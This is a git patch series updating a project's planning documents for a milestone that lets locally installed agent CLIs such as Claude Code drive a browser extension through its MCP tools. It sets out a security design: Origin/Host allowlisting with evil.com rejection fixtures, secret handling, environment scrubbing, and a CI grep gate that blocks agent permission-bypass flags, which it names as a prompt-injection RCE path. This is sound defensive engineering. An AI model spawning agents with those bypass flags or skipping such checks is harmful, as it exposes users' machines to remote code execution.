spoofing subscription OAuth tokens | Banned outright by Anthropic Apr 4 2026; would be product-killing regardless of technical feasibility. | +| Bundling / silent-installing agent CLIs | Wrong shape for a Chrome extension + npm daemon; would violate Chrome Web Store distribution rules and add attack surface. | +| PTY / TUI screen-scraping of agent CLIs | Structured headless interfaces exist for all four target CLIs; scraping is a maintenance sinkhole. | +| Any `--dangerously-skip-permissions` / `--yolo` / `--auto` flag in the spawn path | 1-click RCE for any prompt-injection incident; CHAN-07 grep gate makes this a permanent invariant. | +| Fabricated dollar costs on subscription-backed runs | Cline established the $0.00 convention; PROV-06 codifies it. | +| Auto-switching the user's provider when a "better" agent appears | Advisory badge only (PROV-05); user consent is the load-bearing property. | +| Forcing users away from BYOK when an agent is available | INV-03 provider parity carries forward; BYOK stays first-class. | +| `Firefox` support | Deferred at project level; MV3 nativeMessaging in NATIVE requirements is Chrome-specific for v0.9.91. | +| Native host that itself spawns agent CLIs | NATIVE-03 explicitly forbids this; all spawn authority lives inside the serve daemon behind CHAN gates. | ## Traceability -Which phases cover which requirements. Updated during roadmap creation. +Which phases cover which requirements. Populated during roadmap creation. | Requirement | Phase | Status | |-------------|-------|--------| -| AUDIT-01 | Phase 52 | Complete | -| AUDIT-02 | Phase 52 | Complete | -| RESYNC-01 | Phase 53 | Complete | -| RESYNC-02 | Phase 53 | Complete | -| RESYNC-03 | Phase 53 | Complete | -| CI-01 | Phase 54 | Complete | -| CI-02 | Phase 55 | Complete | -| CI-03 | Phase 55 | Complete | -| CI-04 | Phase 55 | Complete | -| CI-05 | Phase 54 | Complete | -| ROUTE-01 | Phase 56 | Complete | -| ROUTE-02 | Phase 56 | Complete | -| VISUAL-01 | Phase 53 | human_needed | +| (populated by roadmapper) | | | **Coverage:** -- v1 requirements: 13 total -- Mapped to phases: 13 -- Unmapped: 0 โœ“ +- v1 requirements: 51 total +- Mapped to phases: (populated by roadmapper) +- Unmapped: (populated by roadmapper) --- -*Requirements defined: 2026-07-07* -*Last updated: 2026-07-07 after roadmap creation (Phases 52-56)* +*Requirements defined: 2026-07-11* +*Last updated: 2026-07-11 after milestone-scoping questions* From 9aa7994c4d6211d8749067709f4220915703e2f5 Mon Sep 17 00:00:00 2001 From: Lakshman Date: Sat, 11 Jul 2026 22:28:48 -0500 Subject: [PATCH 014/581] docs: create milestone v0.9.91 roadmap (9 phases) --- .planning/REQUIREMENTS.md | 69 +++++++++++- .planning/ROADMAP.md | 232 +++++++++++++++++++++++++++----------- .planning/STATE.md | 124 ++++++++++++-------- 3 files changed, 308 insertions(+), 117 deletions(-) diff --git a/.planning/REQUIREMENTS.md b/.planning/REQUIREMENTS.md index d74c2db30..d0e1a329d 100644 --- a/.planning/REQUIREMENTS.md +++ b/.planning/REQUIREMENTS.md @@ -130,13 +130,74 @@ Which phases cover which requirements. Populated during roadmap creation. | Requirement | Phase | Status | |-------------|-------|--------| -| (populated by roadmapper) | | | +| IDENT-01 | Phase 57 | Pending | +| IDENT-02 | Phase 57 | Pending | +| IDENT-03 | Phase 57 | Pending | +| IDENT-04 | Phase 57 | Pending | +| IDENT-05 | Phase 57 | Pending | +| PROV-01 | Phase 58 | Pending | +| PROV-02 | Phase 58 | Pending | +| PROV-03 | Phase 58 | Pending | +| PROV-04 | Phase 58 | Pending | +| PROV-05 | Phase 58 | Pending | +| PROV-06 | Phase 58 | Pending | +| CHAN-01 | Phase 59 | Pending | +| CHAN-02 | Phase 59 | Pending | +| CHAN-03 | Phase 59 | Pending | +| CHAN-04 | Phase 59 | Pending | +| CHAN-05 | Phase 59 | Pending | +| CHAN-06 | Phase 59 | Pending | +| CHAN-07 | Phase 59 | Pending | +| ADAPT-01 | Phase 60 | Pending | +| ADAPT-02 | Phase 60 | Pending | +| ADAPT-03 | Phase 60 | Pending | +| ADAPT-04 | Phase 60 | Pending | +| ADAPT-05 | Phase 60 | Pending | +| CLAUDE-01 | Phase 60 | Pending | +| CLAUDE-02 | Phase 60 | Pending | +| CLAUDE-03 | Phase 60 | Pending | +| CLAUDE-04 | Phase 60 | Pending | +| UX-01 | Phase 61 | Pending | +| UX-02 | Phase 61 | Pending | +| UX-03 | Phase 61 | Pending | +| UX-04 | Phase 61 | Pending | +| UX-05 | Phase 61 | Pending | +| UX-06 | Phase 61 | Pending | +| LIFE-01 | Phase 61 | Pending | +| LIFE-02 | Phase 61 | Pending | +| LIFE-03 | Phase 61 | Pending | +| LIFE-04 | Phase 61 | Pending | +| DRIFT-01 | Phase 62 | Pending | +| DRIFT-02 | Phase 62 | Pending | +| DRIFT-03 | Phase 62 | Pending | +| DRIFT-04 | Phase 62 | Pending | +| NATIVE-01 | Phase 63 | Pending | +| NATIVE-02 | Phase 63 | Pending | +| NATIVE-03 | Phase 63 | Pending | +| NATIVE-04 | Phase 63 | Pending | +| MULTI-01 | Phase 64 | Pending | +| MULTI-02 | Phase 64 | Pending | +| MULTI-03 | Phase 64 | Pending | +| MULTI-04 | Phase 65 | Pending | +| MULTI-05 | Phase 65 | Pending | +| MULTI-06 | Phase 65 | Pending | **Coverage:** - v1 requirements: 51 total -- Mapped to phases: (populated by roadmapper) -- Unmapped: (populated by roadmapper) +- Mapped to phases: 51 / 51 (100%) +- Unmapped: 0 + +**Phase distribution:** +- Phase 57 (IDENT): 5 requirements +- Phase 58 (PROV): 6 requirements +- Phase 59 (CHAN): 7 requirements +- Phase 60 (ADAPT + CLAUDE): 9 requirements +- Phase 61 (UX + LIFE): 10 requirements +- Phase 62 (DRIFT): 4 requirements +- Phase 63 (NATIVE): 4 requirements +- Phase 64 (MULTI-OpenCode): 3 requirements +- Phase 65 (MULTI-Codex): 3 requirements --- *Requirements defined: 2026-07-11* -*Last updated: 2026-07-11 after milestone-scoping questions* +*Last updated: 2026-07-11 after roadmap creation (Phases 57-65 mapped)* diff --git a/.planning/ROADMAP.md b/.planning/ROADMAP.md index 4f4adc0ee..81fc2f758 100644 --- a/.planning/ROADMAP.md +++ b/.planning/ROADMAP.md @@ -2,98 +2,199 @@ ## Milestones +- ๐Ÿšง **v0.9.91 MCP Clients as Providers** โ€” Phases 57-65, planning 2026-07-11. Extends the Chrome MV3 extension + `fsb-mcp-server` so installed agent CLIs (Claude Code first, then OpenCode + Codex) become first-class side-panel providers: FSB captures which MCP clients the user copies/installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools โ€” with a security-first reverse-request channel, an `AgentProviderAdapter` contract, task-mode only (chat-mode deferred), CI drift-smoke gate, native-messaging wake-host, and INV-01 (byte-stable existing MCP wire) preserved end-to-end. - โœ… **v1.2.0 Showcase i18n Completeness** โ€” Phases 52-56, shipped 2026-07-09. Archive: `.planning/milestones/v1.2.0-ROADMAP.md`. Closes the translation gap that reopened after v0.9.63 shipped: a full-page audit establishes the true drift/missing scope, resync + stats-page translation + transcreation review close it, a CI drift-detection gate lands on the clean baseline, and the long-deferred WARNING-02 locale-cookie redirect bug is fixed. - โœ… **v1.1.0 T1 App Execution Expansion** โ€” Phases 44-51, shipped 2026-06-30; refreshed 2026-07-01 after post-closeout T1 ports. Expanded proven T1/guarded coverage from 26 baseline descriptors to 1,267 executable T1-ready descriptors plus 556 guarded fail-closed rows, and closed the remaining catalog tail with explicit terminal-state accounting. Archive: `.planning/milestones/v1.1.0-ROADMAP.md`. - โœ… **v1.0.0 Full App Catalog (OpenTabs Parity)** โ€” Phases 35-43, shipped 2026-06-29. Full OpenTabs-derived catalog/search/discovery surface: 2,314 descriptors across 128 app stems / 129 services; 26 T1/T1b descriptors today; 2,288 descriptors intentionally remain DOM/discovery-tail. Archive: `.planning/milestones/v1.0.0-ROADMAP.md`. -## Current Milestone: _(none โ€” v1.2.0 complete; run /gsd-new-milestone for next)_ +## Current Milestone: v0.9.91 MCP Clients as Providers -**Milestone Goal:** Close the translation gap that reopened after v0.9.63 shipped -- full, drift-free coverage across all six supported locales (en, es, de, ja, zh-CN, zh-TW) for every showcase marketing page plus the stats page, the long-deferred locale-cookie redirect bug, and a CI gate that catches future drift automatically. +**Milestone Goal:** Make installed agent CLIs (Claude Code first) first-class side-panel providers โ€” FSB captures which MCP clients the user installs/connects, presents them as key-less providers in a renamed Providers panel, and delegates side-panel tasks to a spawned agent CLI that drives the browser back through FSB's own MCP tools. The user's own words: "when I'm sending a message from the side panel, the FSB extension sends a request to the MCP server, which spawns a Claude/Codex/OpenCode agent with the prompt, and that agent uses FSB MCP tools to perform the task โ€” technically driving the local coding agent from the side panel." -**Key context:** Supported locales are fixed (en source + es/de/ja/zh-CN/zh-TW) -- carried over from v0.9.63's `LocaleService` + locale-constants module, not up for debate. This is the second attempt at closing this exact gap: v0.9.63 left dashboard + WARNING-02 as accepted debt that then sat untouched through 6+ subsequent milestones. Builds on existing tooling: `lint:i18n` eslint check, `verify-locale-sync.mjs`, `ng extract-i18n` -- no new runtime dependency, no XLIFF-format migration. +**Key context (non-negotiable):** -**Phase ordering rationale (from research, all 4 researchers converged independently):** audit first (establish true scope) -> resync + stats-page translation + visual QA (close the known + newly-found gap) -> stats-page lint-gate flip + dashboard boundary documentation (gated on verified resync completion) -> new CI drift-detection gate (must land on a clean, drift-free baseline) -> WARNING-02 cookie-redirect fix (fully independent, zero shared surface with the rest, sequenced last for narrative completeness only). +- **Security-first hard rule.** The reverse-request channel is RCE-adjacent by construction: a browser click becomes `execve(claude, -p, )` inside a localhost daemon. The security foundation phase (Phase 59) โ€” reverse-request channel + Origin/Host/secret/consent + CHAN-07 grep gate โ€” MUST land before ANY spawn code exists. It cannot be deferred to a "hardening" phase. All CHAN-01..CHAN-07 requirements land in Phase 59 together. +- **INV-01 discipline.** Every wire addition is additive: new frame types (`ext:request`/`ext:response`/`ext:event`) + optional payload fields only. Existing `MCPMessageType` values and tool schemas stay byte-stable across the entire milestone; a byte-freeze regression test proves this in every phase that touches the wire. +- **Task-mode only.** Chat-mode continuity via `--resume` / `codex resume` / `opencode --continue` is v2 scope (CHAT-FUTURE-01/02); every adapter's `caps()` reports `chatMode: false` for v0.9.91. +- **Adapter breadth: OpenCode + Codex; skip Gemini.** GEMINI-FUTURE-01 defers Gemini until a live `--help` capture and JSONL schema pinning are done. NATIVE and DRIFT are IN scope. +- **No `--dangerously-skip-permissions` / `--yolo` / `--auto`.** Anywhere. Ever. Not even in an "advanced mode." A permanent CI grep gate (CHAN-07) fails the build if those strings appear under `mcp/src/agent-providers/**`. +- **No `@anthropic-ai/claude-agent-sdk` embedded in FSB.** Anthropic banned third-party products from using consumer subscription auth via the SDK (enforcement Apr 4 2026). Shelling to the user's installed `claude` binary is the only compliant "no API key" path and is standard ecosystem practice (Cline, Roo, Zed, Conductor). +- **Extension has no `nativeMessaging` permission in Phases 57-62.** Delegation therefore requires a running `fsb-mcp-server serve` daemon; MVP ships an honest "agent offline โ†’ doctor" state. Phase 63 (NATIVE) adds the optional wake-host that closes this UX cliff. +- **Source-pin tripwire discipline.** FSB's test suite pins exact token counts and substrings on extension source (even comments). Every extension-touching commit updates paired tripwires; the full suite runs from commit 1 of every phase. -**Research correction carried into scope:** the milestone brief's original "247 trans-units changed" framing (from commit `6d3ad363`) overstates the resync scope. An id-keyed ``-text diff shows only 5 of the 247 touched trans-unit blocks have real source drift (`agents.meta.description`, `agents.schema.software.description`, `home.meta.description`, `support.faq.q.tools.a`, `support.schema.faq.tools.a`); the other 242 are harmless `` churn. Phase 52's audit is the authority on the true, final drift count -- do not fix a resync scope number ahead of that audit completing. +**Phase ordering rationale (from research; dependency chain non-negotiable):** identity data (Phase 57) โ†’ provider selection UI reads it (Phase 58) โ†’ security foundation must exist before any spawn code (Phase 59) โ†’ adapter contract needs the channel (Phase 60) โ†’ UX/lifecycle needs the adapter (Phase 61) โ†’ drift gate and doctor need something to check (Phase 62) โ†’ native-host is additive and can only close the offline cliff after the offline state itself exists (Phase 63) โ†’ contract must be stable before adapter breadth (Phases 64-65). ## Phases **Phase Numbering:** -- Integer phases (52, 53, 54, 55, 56): Planned milestone work, continuing from v1.1.0's Phase 51 -- Decimal phases (52.1, 52.2): Urgent insertions (marked with INSERTED) - -- [x] **Phase 52: Full-Page Translation Completeness Audit** - Establish the true per-page, per-locale, per-trans-unit coverage/currency verdict and trace the orphaned stats artifacts -- [x] **Phase 53: Trans-Unit Resync, Stats Translation & Transcreation Review** - Close every audit-identified drift, bring the stats page to full coverage, apply a transcreation lens to hero copy, and spot-check DE/CJK rendering -- [x] **Phase 54: Stats Lint Gate Flip & Dashboard Boundary Documentation** - Remove the stats-page `lint:i18n` exclusion now that coverage is verified, and document the dashboard exclusion as permanent -- [x] **Phase 55: CI Drift-Detection Gate** - Add a permanent, back-tested CI gate that fails the build on future undetected translation drift -- [x] **Phase 56: Locale-Cookie Redirect Fix (WARNING-02)** - Fix the picker-set locale cookie so it correctly redirects returning visitors instead of short-circuiting to EN +- Integer phases (57, 58, 59, 60, 61, 62, 63, 64, 65): Planned milestone work, continuing from v1.2.0's Phase 56 +- Decimal phases (57.1, 57.2): Urgent insertions (marked with INSERTED) + +- [ ] **Phase 57: Agent Identity Capture** - Persist copy-clicks, capture MCP `initialize` `clientInfo`, thread it through `agent:register`, add disk-scan detection, expose a unified `getMcpClients` view โ€” additive on both sides of the wire (INV-01 safe), unblocks everything downstream +- [ ] **Phase 58: Providers Panel** - Rename "API Configuration" โ†’ "Providers", introduce `api` vs `agent` provider kinds, hide the key input for agent kind, badge exactly one "Recommended" provider via the connected > installed > copy-clicked cascade, keep `universal-provider.js` unaware of agent values (INV-03 BYOK parity) +- [ ] **Phase 59: Reverse-Request Channel & Security Foundation** - **SECURITY-CRITICAL, load-bearing**. Additive `ext:*` frames on ws://localhost:7225, strict Origin allowlist + Host loopback + per-install rotating shared secret in `Sec-WebSocket-Protocol`, log redaction, hub-exit-mid-delegation topology tests, permanent CI grep gate against `--dangerously-skip-permissions` / `--yolo` / `--auto` โ€” ships BEFORE any spawn code exists +- [ ] **Phase 60: Adapter Contract & Claude Code MVP** - `AgentProviderAdapter` interface, `SpawnSupervisor` in the `serve` daemon with argv-only spawn / scrubbed env / SIGTERM-at-process-group / Windows `taskkill /T /F` / orphan scan on startup, Claude Code adapter with verified 2.1.177 flag set + shipped `fsb` agent definition + recorded stream-json JSONL fixture โ€” the integration payoff +- [ ] **Phase 61: Delegation UX & SW-Eviction Persistence** - Fifth `EXECUTION_MODES` entry `delegated`, explicit first-use consent card, live per-tool-call streaming feed, default-background-tab + "Take control" affordance, kill switch that reclaims owned tabs, post-run usage summary, `chrome.storage.session` per-event persistence, 20 s WS heartbeat, "agent offline โ†’ `doctor`" deep-link, restart-is-clean semantics +- [ ] **Phase 62: CI Drift-Smoke Gate & Doctor Extensions** - Per-adapter CI drift-smoke against canned fixtures (fail-loud on unknown event types / missing fields / version outside compat matrix), `fsb-mcp-server doctor` per-adapter section (binary path, version, auth, secret rotation age), machine-readable adapter compatibility matrix consumed by the extension +- [ ] **Phase 63: Native-Messaging Host** - `install --native-host` writes the platform-appropriate manifest (mac/Linux/Windows), extension gains additive `nativeMessaging` permission, "Agent offline" state auto-attempts wake before the doctor deep-link; the native host only launches (or attaches to) `serve` โ€” it NEVER spawns agent CLIs directly (all spawn authority stays inside the daemon behind Phase 59 CHAN gates) +- [ ] **Phase 64: OpenCode Adapter** - Second adapter proves the contract accommodates server-mode + attach on top of cold spawn without any Phase 60 rewrite; pinned OpenCode agent definition + recorded JSONL fixture + drift-smoke coverage +- [ ] **Phase 65: Codex Adapter** - Third adapter with `codex exec --json` on the verified 0.142.5 hermetic flag set (`--ephemeral` + `--ignore-user-config`, never the deprecated `--full-auto`), `detect()` surfacing ChatGPT OAuth / API key / unauthenticated so the Providers panel discloses which billing bucket a run will hit; `caps.chatMode: false` across all adapters (task-mode only for v0.9.91) ## Phase Details -### Phase 52: Full-Page Translation Completeness Audit -**Goal**: Every current showcase route has an authoritative, per-locale, per-trans-unit verdict that distinguishes "coverage" (marked + target exists) from "currency" (target still matches the current English source) -- and the orphaned `translations.stats-274.*.json` artifacts are traced end-to-end into (or explicitly out of) the live XLIFF files the build consumes. -**Depends on**: Nothing (first phase of this milestone) -**Requirements**: AUDIT-01, AUDIT-02 +### Phase 57: Agent Identity Capture +**Goal**: FSB knows which MCP-capable agent CLIs the user has installed on disk, has expressed intent to install (via onboarding copy clicks), and has actually connected via MCP `initialize` โ€” surfaced as a single ground-truth view that unblocks every downstream provider-selection decision. +**Depends on**: Nothing (first phase of this milestone; pure additive data layer on both sides of the wire) +**Requirements**: IDENT-01, IDENT-02, IDENT-03, IDENT-04, IDENT-05 +**Success Criteria** (what must be TRUE): + 1. When the user clicks any copy-to-clipboard button on the onboarding MCP-install screen (for `claude-code`, `cursor`, `vscode`, `windsurf`, `codex`, `opencode`, `openclaw`, `claude-desktop`, or `all`), FSB records that client id (with timestamp, deduplicated, all-clients aggregated for multi-select cases) into a durable `fsbAgentProviders.clicked` list in `chrome.storage.local` that survives service-worker eviction and Chrome restart. + 2. When any MCP client completes its `initialize` handshake with `fsb-mcp-server` (over stdio, streamable-HTTP, or the ws://7225 bridge), FSB captures the caller's `clientInfo.name` and `clientInfo.version`, threads them through an additive field on the existing `agent:register` bridge payload, stamps them onto the live `AgentRecord` in the registry, and rolls the identity up into a durable `fsbAgentProviders.connected` entry keyed so re-connections update rather than duplicate. + 3. `fsb-mcp-server` can enumerate installed MCP-capable clients on the current machine by inspecting the paths already known to `platforms.ts` (per-OS `configPath` for file-mode clients; `claude --version` binary probe for cli-mode `claude-code`) and report each as `installed` / `not-installed` with any parseable version. + 4. A single `getMcpClients` extension runtime message returns a merged `clicked โˆช installed โˆช connected` view with per-client status, so UI surfaces read one consistent structure instead of assembling it themselves โ€” and the merged view survives MV3 service-worker eviction. + 5. INV-01 holds: no existing `MCPMessageType` value, no existing tool schema, and no existing consumer of the `agent:register` payload breaks โ€” the additive `clientInfo` field is optional and existing `payload: {}` handlers keep working byte-for-byte. +**Plans**: TBD + +### Phase 58: Providers Panel +**Goal**: The control panel's "API Configuration" section becomes the "Providers" panel โ€” distinguishing BYOK API providers from installed agent CLIs, badging exactly one provider "Recommended" from ground truth (never auto-switching selection), and shipping honest no-fabrication cost/usage copy for agent-kind providers. +**Depends on**: Phase 57 (needs real `fsbAgentProviders` data to render agent rows and to drive the "Recommended" cascade) +**Requirements**: PROV-01, PROV-02, PROV-03, PROV-04, PROV-05, PROV-06 +**Success Criteria** (what must be TRUE): + 1. The control panel section formerly labeled "API Configuration" is labeled "Providers" (heading, nav label, and the legacy `#api-config` anchor continues to work as a redirect to the new `#providers` anchor for existing bookmarks); the source-pin tripwire suite stays green from commit 1 of this phase. + 2. Every provider row has an explicit `providerKind` of either `api` (the existing 7 BYOK LLM providers) or `agent` (a locally installed agent CLI); the kind determines which fields render โ€” an `agent`-kind selection hides the API-key input, key-URL hint, and per-model key-format hint, and shows install status, auth status (where the CLI exposes it), connection status, and a "uses your subscription โ€” no API key needed" caption instead. + 3. Exactly one provider is badged "Recommended" per session, chosen by the strict ground-truth cascade (highest = a CLI currently connected via MCP `initialize`, next = a CLI installed on disk, next = a CLI whose copy button was clicked during onboarding, fallback = the existing xAI-default recommendation); the badge is advisory only โ€” the user's selection is never auto-switched. + 4. `universal-provider.js` (the existing BYOK request builder) never observes an agent value: switching between an active agent provider and a BYOK api provider preserves the other's configuration, and INV-03 provider parity for the 7 BYOK providers holds unchanged. + 5. Cost/usage rows for `agent`-kind providers display token count, turn count, and duration alongside the label "included in your subscription", with a link to the vendor's current billing page โ€” never a fabricated dollar amount and never the words "free" or "unlimited". +**Plans**: TBD +**UI hint**: yes + +### Phase 59: Reverse-Request Channel & Security Foundation +**Goal**: Extension โ†’ daemon reverse requests transit the existing `ws://localhost:7225` bridge with every documented 2025-2026 CVE-class defense enforced from commit one โ€” Origin allowlist, Host loopback, per-install rotating shared secret, log redaction, additive-only wire evolution, and a permanent grep gate against the three "one-click RCE" flags. This phase is SECURITY-CRITICAL and load-bearing: it ships BEFORE any spawn code exists in Phase 60. +**Depends on**: Nothing (channel design is orthogonal to Phase 57/58 data + UI; can develop in parallel but MUST be code-green before Phase 60 starts) +**Requirements**: CHAN-01, CHAN-02, CHAN-03, CHAN-04, CHAN-05, CHAN-06, CHAN-07 +**Success Criteria** (what must be TRUE): + 1. A new `ext:request` / `ext:response` / `ext:event` bridge message-type family transports extension โ†’ daemon reverse requests over the existing ws://localhost:7225 bridge, and a byte-freeze regression test proves every existing `MCPMessageType` value, tool schema, and bridge payload stays byte-identical (INV-01 additive proof). + 2. A relay process advertising `capabilities: ['agent-spawn']` on `relay:hello` becomes the routing target for `ext:*` frames: the hub routes each `ext:request` locally when it is itself the daemon, forwards to the first `agent-spawn`-advertising relay when it is not, and replies `agent_provider_offline` when no supervisor is present โ€” verified by extending `tests/mcp-bridge-topology.test.js` with new hub-exit-mid-delegation and relay-mid-`ext:*`-frame cases without breaking any existing hub-exit-promotion test. + 3. A fixture crafted with `Origin: https://evil.com` on the WebSocket upgrade is rejected before any handler runs; a second fixture with `Host: evil.com:7225` (even when the target actually resolves to 127.0.0.1) is rejected as DNS-rebind defense โ€” the bridge accepts `ext:*` frames only when the WS upgrade carried an `Origin` matching a durable per-install `chrome-extension://` allowlist and a `Host` exactly `127.0.0.1` or `localhost` at the loopback port, and the daemon never binds `0.0.0.0`. + 4. A per-install โ‰ฅ32-byte shared secret is provisioned once between the extension and the daemon, transported only in the `Sec-WebSocket-Protocol` upgrade header (never in URL, never in payloads, never in logs), rotated on daemon restart, and required on every `ext:*` frame โ€” and `redactForLog` plus every tracked diagnostic ring-buffer sink strips any string matching the shared-secret token pattern, with a build-time drift gate that fails if a raw secret substring appears in any tracked log fixture. + 5. A permanent CI grep gate fails the build if the strings `--dangerously-skip-permissions`, `--yolo`, or `--auto` appear anywhere in `mcp/src/agent-providers/**`, so those "one-click RCE" flags can never enter the spawn path in any future patch. +**Plans**: TBD + +### Phase 60: Adapter Contract & Claude Code MVP +**Goal**: A shell-free, tree-killable `SpawnSupervisor` in the `serve` daemon spawns the user's installed `claude` CLI via a formal five-method `AgentProviderAdapter` contract โ€” with a shipped `fsb` agent definition (never prompt-stuffing), `--strict-mcp-config` hermeticity, and a recorded stream-json JSONL fixture โ€” so a user with Claude Code installed can send a side-panel message and observe the agent drive their live browser back through FSB's MCP tools with visible per-tool-call feedback. This phase is the integration payoff; the contract is designed for adapter breadth so OpenCode/Codex slot in without rework. +**Depends on**: Phase 58 (provider selection reads the Providers panel), Phase 59 (channel + all CHAN security foundations must be code-green before any spawn code exists) +**Requirements**: ADAPT-01, ADAPT-02, ADAPT-03, ADAPT-04, ADAPT-05, CLAUDE-01, CLAUDE-02, CLAUDE-03, CLAUDE-04 **Success Criteria** (what must be TRUE): - 1. A generated audit report lists, for every current showcase route (lattice, phantom-stream, prometheus, home, mobile nav, stats, and the original v0.9.63 routes) and every one of the 5 non-English locales, a per-trans-unit verdict of coverage AND currency as two distinct checks -- not a single pass/fail signal. - 2. The audit's true drift count is authoritative and supersedes the milestone brief's original "247 trans-units" estimate; the 5 confirmed `6d3ad363`-drifted units are validated as a subset of (not a substitute for) the full audit findings. - 3. The orphaned `translations.stats-274.*.json` artifacts are explicitly resolved: either shown to already be merged into the live `messages..xlf` files, or shown to still be outstanding work with no ambiguity left for Phase 53 to inherit. -**Plans**: 1/1 complete - -### Phase 53: Trans-Unit Resync, Stats Translation & Transcreation Review -**Goal**: Every trans-unit the Phase 52 audit flagged as drifted is resynced across all 5 translated locales, the stats page reaches full translation coverage, hero/CTA copy gets a transcreation-quality pass instead of literal translation, and German/CJK rendering is confirmed clean on the highest-copy-density routes. -**Depends on**: Phase 52 -**Requirements**: RESYNC-01, RESYNC-02, RESYNC-03, VISUAL-01 + 1. The `AgentProviderAdapter` TypeScript interface (`mcp/src/agent-providers/adapter.ts`) exposes exactly five methods (`detect()` โ†’ `{installed, version, authState, binary}`, `buildSpawn(task, ctx)` โ†’ `SpawnSpec`, `parseEvents(stream)` โ†’ `AsyncIterable`, `kill(child, {grace})` โ†’ `Promise`, `caps()` โ†’ `AdapterCapabilities`), and the Claude Code adapter (`mcp/src/agent-providers/claude-code.ts`) implements all five and is registered against the `INSTALL_CLIENTS` / `PLATFORMS` client id `claude-code`. + 2. A user with Claude Code installed can select "Claude Code" as their provider in the side panel, type a task, and observe the spawned CLI drive their live browser back through FSB's MCP tools โ€” with visible per-tool-call feedback โ€” while every existing FSB MCP tool call remains byte-identical on the wire (INV-01 preserved end-to-end through the delegation round-trip; the byte-freeze regression test still passes). + 3. The `SpawnSupervisor` accepts a validated spawn request over Phase 59's `ext:request` channel, looks up the requested adapter, constructs argv from adapter output plus a daemon-controlled flag allowlist (unknown payload keys rejected with a typed error), and spawns the child with `{ detached: true, windowsHide: true, stdio: ['pipe','pipe','pipe'] }` and an environment with `ANTHROPIC_API_KEY`, `OPENAI_API_KEY`, and `GEMINI_API_KEY` scrubbed; the supervisor never invokes a shell, and the user's prompt reaches the CLI only via `child.stdin` (never argv, never `sh -c`) so shell metacharacters and Windows `.cmd`-shim EINVAL (Node CVE-2024-27980) cannot execute. + 4. A `stop` / cancel request triggers SIGTERM at the process-group level on POSIX (`process.kill(-child.pid, 'SIGTERM')` after `spawn({detached:true})`), `taskkill /pid /T /F` on Windows, escalates to SIGKILL after a grace window, and does not resolve the delegation until either an exit-signal is observed or the daemon confirms no descendant matches remain โ€” grandchildren, MCP sub-servers, and shell tools spawned by the CLI are all terminated. + 5. On daemon startup, the supervisor scans for orphaned children matching prior adapter fingerprints (env-var tag + argv pattern) and kills them before accepting new spawn requests, and reports the scan result in structured diagnostics โ€” so a daemon crash mid-run cannot leave a ghost CLI controlling the browser. + 6. The Claude Code adapter spawns `claude -p --verbose --output-format stream-json --include-partial-messages --strict-mcp-config --mcp-config --agents --agent fsb --permission-mode dontAsk --allowedTools "mcp__fsb" --disallowedTools "Bash,Edit,Write,NotebookEdit,WebFetch,WebSearch" --max-turns 40 --no-session-persistence` (or the version-appropriate equivalent selected by `detect()`); `parseEvents` translates the CLI's stream-json events into a normalized `AgentEvent` schema, fails loud on unknown event types (surfaced as `agent_protocol_drift` diagnostic), and is covered by a recorded JSONL fixture under `tests/fixtures/agent-streams/claude-code-2.1.177/` so CI runs without a live CLI; `detect()` fingerprints via `claude --version`, compares against a minimum supported version, and reports `installed=false` with a doctor-diagnostic message rather than spawning if the version predates the verified stream-json contract. +**Plans**: TBD + +### Phase 61: Delegation UX & SW-Eviction Persistence +**Goal**: The side panel becomes a first-class delegation surface โ€” visible first-use consent gate, live per-tool-call streaming feed, default-background-tab with a "Take control" affordance, kill switch that reclaims owned tabs, honest post-run usage summary, and MV3 SW-eviction-safe persistence so a 45-minute run resumes exactly the feed the user last saw. The extension has no `nativeMessaging` permission at this point โ€” this phase ships the honest "Agent offline โ†’ `doctor`" state that Phase 63 later augments with an optional wake path. +**Depends on**: Phase 60 (adapter contract + Claude Code MVP producing the `AgentEvent` stream + tab ownership on spawn); Phase 59 heartbeat plumbing +**Requirements**: UX-01, UX-02, UX-03, UX-04, UX-05, UX-06, LIFE-01, LIFE-02, LIFE-03, LIFE-04 **Success Criteria** (what must be TRUE): - 1. Every trans-unit flagged as drifted by the Phase 52 audit (the 5 confirmed `6d3ad363` units plus any additional units the audit surfaced) has an updated `` in es, de, ja, zh-CN, and zh-TW that matches the current English ``, with `` placeholder alignment preserved and `DO-NOT-TRANSLATE.md` brand/term rules re-verified for each resynced string. - 2. The stats page has a `` for every trans-unit across all 5 non-English locales -- full coverage, not partial. - 3. The ~10-20 hero headline and primary CTA strings read as natural, locale-appropriate marketing copy rather than literal word-for-word translation, reviewed explicitly through a transcreation lens. - 4. A targeted manual visual spot-check of German (text-expansion risk) and zh-CN/zh-TW (CJK line-wrap risk) on the highest-copy-density routes shows no broken layout, truncation, or overflow -- performed only after the resynced/transcreated copy above has landed, since it needs final translated text to check against. -**Plans**: 53-01 โœ…, 53-02 โœ…, 53-03 โœ… - -### Phase 54: Stats Lint Gate Flip & Dashboard Boundary Documentation -**Goal**: The stats page is held to the same CI translation-completeness bar as every other marketing page, and the dashboard's permanent exclusion from that bar is written down as an explicit architectural decision rather than left as unstated deferred debt. -**Depends on**: Phase 53 (must follow verified stats-page translation completion, not precede it) -**Requirements**: CI-01, CI-05 + 1. A fifth `EXECUTION_MODES` entry `delegated` in `extension/ai/engine-config.js` (with `uiFeedbackChannel: 'popup-sidepanel'`, `animatedHighlights: true`, wall-clock + event-silence watchdogs, and no iteration cap โ€” the reasoning loop runs in the spawned CLI, not `runAgentLoop`) is selected automatically whenever the active provider is agent-kind, and the extension's own `runAgentLoop` is never entered for delegated tasks. + 2. Before FSB spawns any agent CLI for the first time, the user sees an explicit consent card that names the CLI, states what it will be permitted to do (drive FSB MCP tools on the user's live browser), and states what it will not (edit files, run shell, fetch arbitrary URLs); a per-run confirm-to-continue toggle is on by default and can be disabled per-provider only via an explicit "trust this agent" setting โ€” the copy never uses "faster mode" language. + 3. The side panel renders a live per-run streaming feed with distinct card types for `init` (client, model, session id, allowed tools), `tool-call` (name, args summary, tab id), `retry` (typed error class), and `result` (usage summary) driven by the normalized `AgentEvent` stream; a delegated run opens by default in a new background tab, and when the user activates the tab the agent is driving, a persistent "Take control" affordance appears that pauses the agent (v0.9.60 ownership release + supervisor grace hold), lets the user interact, and offers "Resume with agent" to give ownership back. + 4. A prominent Stop button in the side panel triggers `stopDelegatedTask`, routes to the supervisor's kill, and โ€” on confirmed exit โ€” releases every tab that was owned by the spawned agent (per v0.9.60 ownership) and reports "Agent stopped, N tab(s) released" in the feed; a post-run summary card displays tokens (in/out/total), turn count, wall-clock duration, cost bucket (`included in your subscription` for 